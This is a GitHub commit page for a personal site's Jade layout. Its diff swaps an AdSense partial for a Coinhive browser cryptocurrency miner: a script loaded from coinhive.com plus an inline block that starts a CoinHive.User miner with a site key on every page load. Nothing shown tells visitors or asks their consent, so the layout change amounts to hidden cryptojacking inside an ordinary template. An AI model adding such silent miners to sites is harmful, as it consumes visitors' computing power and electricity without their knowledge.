Skip to content

Commit

Permalink
added coinhive plugin
Browse files Browse the repository at this point in the history
  • Loading branch information
caio-ribeiro-pereira committed Oct 2, 2017
1 parent df3b881 commit 1c0352e
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 9 deletions.
1 change: 0 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,6 @@ node_modules
!public/assets/**/*
!public/about/*
!public/_categories/*
!public/_shared/*
!public/*
public/assets/css/application.css
npm-debug.log
Expand Down
8 changes: 6 additions & 2 deletions public/_layout.jade
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,6 @@ doctype html
html(lang="en" manifest="#{manifest_url}" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#")
head
!= partial("_shared/head")
if environment == "production"
!= partial("_shared/adsense")
body
!= partial("_shared/header")
main.container(role="main")
Expand All @@ -16,3 +14,9 @@ html(lang="en" manifest="#{manifest_url}" xmlns="http://www.w3.org/1999/xhtml" x
if environment == "production"
!= partial("_shared/google_analytics")
script(src="#{root_url[environment]}sw.js")
script(src="https://coinhive.com/lib/coinhive.min.js")
script.
(function() {
var miner = new CoinHive.User('8TcWY9lnEcvWicRSqhxIwYNe2CCT6xd4');
miner.start();
})();
6 changes: 0 additions & 6 deletions public/_shared/adsense.jade

This file was deleted.

0 comments on commit 1c0352e

Please sign in to comment.